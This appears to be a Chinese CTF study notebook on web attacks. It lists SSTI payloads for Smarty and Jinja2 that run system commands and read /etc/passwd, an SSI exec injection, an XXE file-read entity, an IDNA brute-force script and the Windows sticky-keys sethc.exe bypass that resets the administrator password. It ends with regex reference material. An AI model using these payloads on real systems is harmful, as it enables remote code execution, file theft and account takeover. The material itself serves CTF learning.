|==>{{7*7}}=|=>{{7*'7'}}=|=>Twig
| |=>Unknown
|=>Not vulnerable
优质的Twig漏洞利用文章:https://xz.aliyun.com/t/10056#toc-12

php

smarty模板常用payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
smarty中的{if}标签中可以执行php语句

python

参考链接:https://blog.csdn.net/m0_51428325/article/details/121357005

思想:
有输入输出八成有注入点
登录框优先考虑爆破,注入,模板
__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__
组合功能相当于导入并且执行某个内置类
一步不能缺,__builtins__是关键的类似于函数调用的方法



Python模板漏洞和php模板漏洞:
遇到的不多,暂时了解为{{}}
内部包裹的变量可执行。
第一种:利用Jinja2,利用python的很多基类
1.基础类执行
__class__ 返回类型所属的对象(类)
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回的是该对象的父类(有点坑爹,常用的貌似是带s的那个)
__bases__ 返回该对象所继承的所有基类(父类)
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

2.常见基础调用类函数的执行
>>> ''.__class__.__base__.__subclasses__()
# 返回子类的列表 [,,,...]
#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[5].__init__
>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

详细参照:https://blog.csdn.net/weixin_54515836/article/details/113778233
上面的两种情况都有一个致命的缺点:必须带括号。

3.补充:
__builtins__ :包含内置函数,异常等类型
运用:__builtins__.print('hello world')

4.调用补充:
除开 '' 外,还有:
() {} []



不带括号的情况:参照这个大佬:https://blog.csdn.net/miuzzx/article/details/110220425
等式成立:
{{"".__class__}} == {{""['__classs__']}}

1.url_for:动态视图函数
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
eg:
/shrine/{{url_for.__globals__['current_app'].config}}
2.其它调用:
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

或者这个也行:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}





JAVA

https://blog.csdn.net/wy_97/article/details/78165051

java模板漏洞博客信息:WEB-INF/web.xml泄露
WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

https://blog.csdn.net/wy_97/article/details/78165051

SSI语法–shtml

SSI语法

SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。

1.显示服务器端环境变量<#echo>
<!–#echo var="DOCUMENT_NAME"–> //本文档名称
<!–#echo var="DATE_LOCAL"–> //现在时间
<! #echo var="REMOTE_ADDR"–> //显示IP地址


2.将文本内容直接插入到文档中<#include>
<! #include file="文件名称"–>
<!--#include virtual="index.html" -->

<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->

3.显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
<! #flastmod file="文件名称"–> //文件最近更新日期
<!–#fsize file="文件名称"–> //文件的长度

4.直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->

<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

XXE漏洞

大佬参照1:https://www.cnblogs.com/s1awwhy/p/13736633.html

大佬参照2:https://www.cnblogs.com/lktop/p/13774088.html

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>password</password></user>

前端绕过

寻常的游戏传参绕过:审计JS,有可能直接审出flag,或者通过浏览器审查的console窗口修改JS断点出的js参数值,拿下flag。

涉及:前端JS审计,谷歌浏览器断点调试。

爆破

Python idna编码爆破脚本

相关题目:[SUCTF 2019]Pythonginx

from urllib import parse
from urllib.parse import urlparse, urlunsplit, urlsplit


def getUrl(url):
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
print(url)
return True
else:
return False

for x in range(65536):
c = chr(x)
# 测试每数字所转字符串是否符合源码的条件
try:
# 条件吻合再输出
if getUrl("file://suctf.c{}/".format(c)):
print("str: " + c + " unicode: \\u" + str(hex(x))[2:])
except:
pass

windows专题

hosts文件位置

C:\Windows\System32\drivers\etc

cmd命令

CMD 工具路径:c:\windows\system32\cmd

用户账户密码存储位置:c:\windows\system32\config\SAM

修改账户密码:net user 用户名 新密码

创建一个新用户:net user 用户名 新密码 /add

删除用户:net user 用户名 /del

# 修改账户的密码
net user administrator ""
# 新增账户
net user test test /add
# 新增别的账户
net user administrator test /add

shift连按五次的滞留键攻击

测试版本信息:Windows7

Windows的软件:cmd.exe,sethc.exe

  1. 计算机开屏,还没输入账密时,连按5次shift,弹出【您的计算机无法启动】=> 【启动修复】=> [取消]
  2. 等待一段时间后会出现【启动修复】并且表示【是否发送信息】,在这里要选择【查看问题详细信息】,点击第二个链接【本地脱机】访问
  3. 本地脱机访问成功后会来到默认的文本文件打开窗口,通过这个窗口,点击【编辑】=> 【打开】=》【Windows/System32】
  4. 选择打开全部文件,将原本 sethc.exe 修改为 123.exe ,将 cmd.exe 修改为 sethc.exe .
  5. 关掉所有页面重启计算机,再次按下五次shift触发cmd窗口。
  6. 修改密码 net user administrator "" 并且进行无密码登录即可进入系统。

正则表达式

某些通用格式匹配

https://www.cnblogs.com/fozero/p/7868687.html

一、校验数字的表达式
1. 数字:^[0-9]*$
2. n位的数字:^\d{n}$
3. 至少n位的数字:^\d{n,}$
4. m-n位的数字:^\d{m,n}$
5. 零和非零开头的数字:^(0|[1-9][0-9]*)$
6. 非零开头的最多带两位小数的数字:^([1-9][0-9]*)+(.[0-9]{1,2})?$
7. 带1-2位小数的正数或负数:^(\-)?\d+(\.\d{1,2})?$
8. 正数、负数、和小数:^(\-|\+)?\d+(\.\d+)?$
9. 有两位小数的正实数:^[0-9]+(.[0-9]{2})?$
10. 有1~3位小数的正实数:^[0-9]+(.[0-9]{1,3})?$
11. 非零的正整数:^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$
12. 非零的负整数:^\-[1-9][]0-9"*$ 或 ^-[1-9]\d*$
13. 非负整数:^\d+$ 或 ^[1-9]\d*|0$
14. 非正整数:^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$
15. 非负浮点数:^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$
16. 非正浮点数:^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$
17. 正浮点数:^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$
18. 负浮点数:^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$
19. 浮点数:^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$




二、校验字符的表达式
1. 汉字:^[\u4e00-\u9fa5]{0,}$
2. 英文和数字:^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$
3. 长度为3-20的所有字符:^.{3,20}$
4. 由26个英文字母组成的字符串:^[A-Za-z]+$
5. 由26个大写英文字母组成的字符串:^[A-Z]+$
6. 由26个小写英文字母组成的字符串:^[a-z]+$
7. 由数字和26个英文字母组成的字符串:^[A-Za-z0-9]+$
8. 由数字、26个英文字母或者下划线组成的字符串:^\w+$ 或 ^\w{3,20}$
9. 中文、英文、数字包括下划线:^[\u4E00-\u9FA5A-Za-z0-9_]+$
10. 中文、英文、数字但不包括下划线等符号:^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$
11. 可以输入含有^%&',;=?$\"等字符:[^%&',;=?$\x22]+ 12 禁止输入含有~的字符:[^~\x22]+


三、特殊需求表达式
1. Email地址:^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$
2. 域名:[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?
3. InternetURL:[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$
4. 手机号码:^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$
5. 电话号码("XXX-XXXXXXX"、"XXXX-XXXXXXXX"、"XXX-XXXXXXX"、"XXX-XXXXXXXX"、"XXXXXXX"和"XXXXXXXX):^(\(\d{3,4}-)|\d{3.4}-)?\d{7,8}$
6. 国内电话号码(0511-4405222、021-87888822):\d{3}-\d{8}|\d{4}-\d{7}
7. 身份证号(15位、18位数字):^\d{15}|\d{18}$
8. 短身份证号码(数字、字母x结尾):^([0-9]){7,18}(x|X)?$ 或 ^\d{8,18}|[0-9x]{8,18}|[0-9X]{8,18}?$
9. 帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
10. 密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线):^[a-zA-Z]\w{5,17}$
11. 强密码(必须包含大小写字母和数字的组合,不能使用特殊字符,长度在8-10之间):^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$
12. 日期格式:^\d{4}-\d{1,2}-\d{1,2}
13. 一年的12个月(01~09和1~12):^(0?[1-9]|1[0-2])$
14. 一个月的31天(01~09和1~31):^((0?[1-9])|((1|2)[0-9])|30|31)$
15. 钱的输入格式:
16. 1.有四种钱的表示形式我们可以接受:"10000.00" 和 "10,000.00", 和没有 "分" 的 "10000" 和 "10,000":^[1-9][0-9]*$
17. 2.这表示任意一个不以0开头的数字,但是,这也意味着一个字符"0"不通过,所以我们采用下面的形式:^(0|[1-9][0-9]*)$
18. 3.一个0或者一个不以0开头的数字.我们还可以允许开头有一个负号:^(0|-?[1-9][0-9]*)$
19. 4.这表示一个0或者一个可能为负的开头不为0的数字.让用户以0开头好了.把负号的也去掉,因为钱总不能是负的吧.下面我们要加的是说明可能的小数部分:^[0-9]+(.[0-9]+)?$
20. 5.必须说明的是,小数点后面至少应该有1位数,所以"10."是不通过的,但是 "10" 和 "10.2" 是通过的:^[0-9]+(.[0-9]{2})?$
21. 6.这样我们规定小数点后面必须有两位,如果你认为太苛刻了,可以这样:^[0-9]+(.[0-9]{1,2})?$
22. 7.这样就允许用户只写一位小数.下面我们该考虑数字中的逗号了,我们可以这样:^[0-9]{1,3}(,[0-9]{3})*(.[0-9]{1,2})?$
23 8.13个数字,后面跟着任意个 逗号+3个数字,逗号成为可选,而不是必须:^([0-9]+|[0-9]{1,3}(,[0-9]{3})*)(.[0-9]{1,2})?$
24. 备注:这就是最终结果了,别忘了"+"可以用"*"替代如果你觉得空字符串也可以接受的话(奇怪,为什么?)最后,别忘了在用函数时去掉去掉那个反斜杠,一般的错误都在这里
25. xml文件:^([a-zA-Z]+-?)+[a-zA-Z0-9]+\\.[x|X][m|M][l|L]$
26. 中文字符的正则表达式:[\u4e00-\u9fa5]
27. 双字节字符:[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1))
28. 空白行的正则表达式:\n\s*\r (可以用来删除空白行)
29. HTML标记的正则表达式:<(\S*?)[^>]*>.*?</\1>|<.*? /> (网上流传的版本太糟糕,上面这个也仅仅能部分,对于复杂的嵌套标记依旧无能为力)
30. 首尾空白字符的正则表达式:^\s*|\s*$或(^\s*)|(\s*$) (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式)
31. 腾讯QQ号:[1-9][0-9]{4,} (腾讯QQ号从10000开始)
32. 中国邮政编码:[1-9]\d{5}(?!\d) (中国邮政编码为6位数字)
33. IP地址:\d+\.\d+\.\d+\.\d+ (提取IP地址时有用)
34. IP地址:((?:(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d))

修饰符匹配

i (PCRE_CASELESS)

如果设置了这个修饰符, 模式中的字母会进行大小写不敏感匹配.

m (PCRE_MULTILINE)

默认情况下, PCRE认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), "行首"元字符(^)仅匹配字符串的开始位置, 而"行末"元字符(KaTeX parse error: Undefined control sequence: \n at position 143: …符. 如果目标字符串 中没有"\̲n̲"字符, 或者模式中没有出现^…, 设置这个修饰符不产生任何影响.

s (PCRE_DOTALL)

如果设置了这个修饰符, 模式中的点号元字符匹配所有字符, 包含换行符. 如果没有这个 修饰符, 点号不匹配换行符. 这个修饰符等同于perl中的/s修饰符.一个取反字符类比如 [^a]总是匹配换行符, 而不依赖于这个修饰符的设置.

x (PCRE_EXTENDED)

如果设置了这个修饰符, 模式中的没有经过转义的或不在字符类中的空白数据字符总会被忽略, 并且位于一个未转义的字符类外部的#字符和下一个换行符之间的字符也被忽略. 这个修饰符 等同于perl中的/x修饰符, 使被编译模式中可以包含注释. 注意: 这仅用于数据字符. 空白字符 还是不能在模式的特殊字符序列中出现, 比如序列(?(引入了一个条件子组(译注: 这种语法定义的 特殊字符序列中如果出现空白字符会导致编译错误. 比如( ?(就会导致错误.).

e (PREG_REPLACE_EVAL)

如果这个修饰符设置了, preg_replace()在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php代码评估执行(eval函数方式), 并使用执行结果 作为实际参与替换的字符串. 单引号, 双引号, 反斜线()和NULL字符在后向引用替换时会被用反斜线转义.

Tip

请确保replacement参数由合法php代码字符串组成, 否则php将会 在preg_replace()调用的行上 产生一个解释错误.

Note: 仅 preg_replace()使用此修饰符, 其他PCRE函数忽略此修饰符.

A (PCRE_ANCHORED)

如果设置了这个修饰符, 模式被强制为"锚定"模式, 也就是说约束匹配使其仅从 目标字符串的开始位置搜索. 这个效果同样可以使用适当的模式构造出来,并且 这也是perl种实现这种模式的唯一途径.

D (PCRE_DOLLAR_ENDONLY)

如果这个修饰符被设置, 模式中的元字符美元符号仅仅匹配目标字符串的末尾. 如果这个修饰符 没有设置, 当字符串以一个换行符结尾时, 美元符号还会匹配该换行符(但不会匹配之前的任何换行符). 如果设置了修饰符m, 这个修饰符被忽略. 在perl中没有与此修饰符等同的修饰符.

S

当一个模式需要多次使用的时候, 为了得到匹配速度的提升, 值得花费一些时间 对其进行一些额外的分析. 如果设置了这个修饰符, 这个额外的分析就会执行. 当前, 这种对一个模式的分析仅仅适用于非锚定模式的匹配(即没有单独的固定开始字符).

U (PCRE_UNGREEDY)

这个修饰符逆转了量词的"贪婪"模式. 使量词默认为非贪婪的, 通过量词后紧跟?的方式可以使其成为贪婪的. 这和perl是不兼容的. 它同样可以使用 模式内修饰符设置(?U)进行设置, 或者在量词后以问号标记其非贪婪(比如.*?).

Note:

在非贪婪模式, 通常不能匹配超过 pcre.backtrack_limit的字符.

X (PCRE_EXTRA)

这个修饰符打开了PCRE与perl不兼容的附件功能. 模式中的任意反斜线后就ingen一个 没有特殊含义的字符都会导致一个错误, 以此保留这些字符以保证向后兼容性. 默认 情况下, 在perl中, 反斜线紧跟一个没有特殊含义的字符被认为是该字符的原文. 当前没有其他特性由这个修饰符控制.

J (PCRE_INFO_JCHANGED)

内部选项设置(?J)修改本地的PCRE_DUPNAMES选项. 允许子组重名. (译注:只能通过内部选项设置, 外部的/J设置会产生错误.)

u (PCRE8)

此修正符打开一个与perl不兼容的附加功能. 模式字符串被认为是utf-8的. 这个修饰符 从unix版php 4.1.0或更高, win32版php 4.2.3开始可用. php 4.3.5开始检查模式的utf-8合法性. This modifier turns on additional functionality of PCRE that is incompatible with Perl. Pattern strings are treated as UTF-8. This modifier is available from PHP 4.1.0 or greater on Unix and from PHP 4.2.3 on win32. UTF-8 validity of the pattern is checked since PHP 4.3.5.

应该留点心的赛题

[GYCTF2020]FlaskApp
[安洵杯 2019]easy_serialize_php